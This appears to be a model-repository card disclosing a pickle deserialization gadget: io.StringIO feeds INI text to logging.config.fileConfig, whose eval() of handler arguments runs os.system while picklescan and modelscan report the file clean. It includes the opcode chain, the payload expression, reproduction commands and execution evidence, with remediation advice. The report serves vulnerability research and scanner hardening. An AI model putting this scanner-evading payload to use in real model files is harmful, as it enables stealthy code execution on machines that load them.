You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

NEW pickle RCE gadget: logging.config.fileConfig + io.StringIO β€” raw eval() of INI config strings; clean on both picklescan and modelscan

Category: Pickle deserialization RCE / model-scanner bypass (new gadget) Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8 Trigger runtime: CPython 3.13.12 (logging.config stdlib); reproduced via pickle.load and joblib.load (joblib 1.5.3) Payload: 413-byte pickle protocol 4 (evil.pkl == evil.joblib, identical bytes) sha256(evil.pkl) = 32fe14ad1b718c5d9b0956db8534bac4234a8374fb07802689c9d75d20df0f94


Summary

logging.config.fileConfig(fname) parses an INI-format logging configuration and, for every handler section, evaluates the raw class, args, and kwargs strings with eval(<str>, vars(logging)) (CPython Lib/logging/config.py, _install_handlers, lines 154/158/160). Because vars(logging) is used as the eval globals, CPython auto-injects __builtins__, so __import__('os').system(...) resolves and executes.

Two facts make this a self-contained pickle gadget:

  1. fileConfig accepts any file-like object with a readline method β€” if hasattr(fname, 'readline'): cp.read_file(fname) (line 75-76). So the attacker wraps the INI text in an io.StringIO built entirely from the pickle stream; no file on disk is required.
  2. The dangerous command travels only as an inert BINUNICODE string operand (the INI text) fed to io.StringIO(...). The only two GLOBAL opcodes in the whole stream are io.StringIO and logging.config.fileConfig β€” neither is on either scanner's dangerous list, and neither os, subprocess, eval, nor system ever appears as a global.

Both scanners therefore report 0 issues / No issues found while the payload runs on unpickle.

Root cause

Call chain (CPython 3.13, Lib/logging/config.py):

logging.config.fileConfig(io.StringIO(ini_text))
  -> hasattr(fname,'readline') -> cp.read_file(fname)          # parse INI from StringIO
  -> _install_handlers(cp, formatters)
       klass = eval(section["class"], vars(logging))           # line 154
       args  = eval(section["args"],  vars(logging))           # line 158  <-- RCE fires here
       kwargs= eval(section["kwargs"], vars(logging))          # line 160
       h = klass(*args, **kwargs)

The PoC sets args = "__import__('os').system('<cmd>') and () or ()". os.system returns 0, so the expression evaluates to () β€” the command runs, then logging.StreamHandler(*()) is constructed cleanly, _install_loggers completes, and fileConfig returns None with no traceback (stealthy).

Why both scanners miss it

  • picklescan 1.0.5 β€” _unsafe_globals lists only logging: {"FileHandler"} (module logging, name FileHandler). The gadget uses module logging.config, name fileConfig β€” not matched. io.StringIO is not listed either. Both surface merely as suspicious (count 2), never dangerous; Infected files: 0.
  • modelscan 0.8.8 β€” logging / logging.config and io are entirely absent from DEFAULT_SETTINGS['unsafe_globals'] (CRITICAL/HIGH). No issues found.
  • The command string is never a global/reduce target β€” it is a plain BINUNICODE operand. Neither scanner performs data-flow or string inspection.

Distinct from the covered dictConfig gadget

This is not the previously-covered logging.config.dictConfig gadget:

dictConfig (covered) fileConfig (this finding)
Callable logging.config.dictConfig logging.config.fileConfig
Sink DictConfigurator.configure_custom() β†’ resolve(dotted_name) + instantiate raw eval(args, vars(logging)) (CWE-94 direct eval)
Argument shape a dict passed directly INI text, requires a file/file-like source
Delivery trick trivial (dict is a pickle-native object) io.StringIO reduce so no disk file is needed

Different function, different root-cause sink (direct eval vs resolve+instantiate), different payload delivery. fileConfig has its own independent eval() sites (_create_formatters also does eval(defaults, vars(logging)), line 132).

PoC

File Purpose
gen_poc.py Generator β€” hand-assembles the pickle opcode chain
evil.pkl 413-byte proto-4 payload
evil.joblib Identical bytes to evil.pkl
control_os.pkl Negative control β€” classic os.system reduce (both scanners MUST flag)

Opcode chain (pickletools.dis(evil.pkl))

0: \x80 PROTO      4
2: \x8c SHORT_BINUNICODE 'logging.config'
18: \x8c SHORT_BINUNICODE 'fileConfig'
30: \x93 STACK_GLOBAL                 # push logging.config.fileConfig
31: \x8c SHORT_BINUNICODE 'io'
35: \x8c SHORT_BINUNICODE 'StringIO'
45: \x93 STACK_GLOBAL                 # push io.StringIO
46: X    BINUNICODE  '<INI text with args=__import__(\'os\').system(...) and () or ()>'
408: \x85 TUPLE1                      # (ini_text,)
409: R    REDUCE                      # io.StringIO(ini_text)
410: \x85 TUPLE1                      # (stringio,)
411: R    REDUCE                      # logging.config.fileConfig(stringio) -> eval -> RCE
412: .    STOP

Reproduce

# Python 3.13.12 venv "scan313" (execution)
scan313/bin/python gen_poc.py
scan313/bin/python -c "import pickle; print('load:', pickle.load(open('evil.pkl','rb')))"
cat PWNED_fileconfig
scan313/bin/python -c "import joblib; print('joblib:', joblib.load('evil.joblib'))"

# scanners (venv "scan312")
scan312/bin/python -m picklescan -p evil.pkl
scan312/bin/modelscan -p evil.pkl

Captured evidence (verbatim)

Execution β€” Python 3.13.12

pickle.load returned: None
--- PWNED marker ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
fileconfig_gadget_executed

joblib 1.5.3 β€” identical result

joblib 1.5.3
joblib.load returned: None
# PWNED_fileconfig marker written identically

pickle.load / joblib.load return None with no traceback.

picklescan 1.0.5 on evil.pkl β€” CLEAN

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
All globals found:
  * io.StringIO - suspicious
  * logging.config.fileConfig - suspicious

modelscan 0.8.8 on evil.pkl β€” CLEAN

--- Summary ---
 No issues found! πŸŽ‰

Negative control (control_os.pkl = os.system reduce) β€” BOTH scanners flag it

picklescan:

control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1

modelscan:

Total Issues: 1
    - CRITICAL: 1
Unsafe operator found:
  - Description: Use of unsafe operator 'system' from module 'posix'

The control proves the scanners and harness work; the gadget's cleanliness is specific to the new logging.config.fileConfig primitive.

Impact

Any pipeline that unpickles untrusted model files after clearing them through picklescan or modelscan is vulnerable to arbitrary code execution. pickle.load/joblib.load return None with no exception, so the attack is stealthy. joblib.load (default loader for scikit-learn .joblib/.pkl artifacts) is equally affected.

Suggested remediation

Add logging.config.fileConfig (and logging.config.dictConfig, io.StringIO, and the broader class of stdlib callables that route attacker data into eval/compile) to the scanners' dangerous-globals lists. More robustly, treat any global outside an allowlist as unsafe β€” inert string operands carrying the payload can never be caught by name-based blocklists.

Dedup note

  • Distinct from all covered pickle gadgets and from every EnigmaConsultant HF pickle-*/joblib-* PoC repo. The only logging-family repo is huntr-poc-joblib-logging-dictconfig-rce (dictConfig, a different callable and a resolve()+instantiate sink, not eval). No prior repo demonstrates fileConfig or the io.StringIO-delivered raw-eval INI path.
  • Not a known CVE: the primitive is logging.config.fileConfig β†’ _install_handlers β†’ eval(args, vars(logging)), delivered via an io.StringIO reduce.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support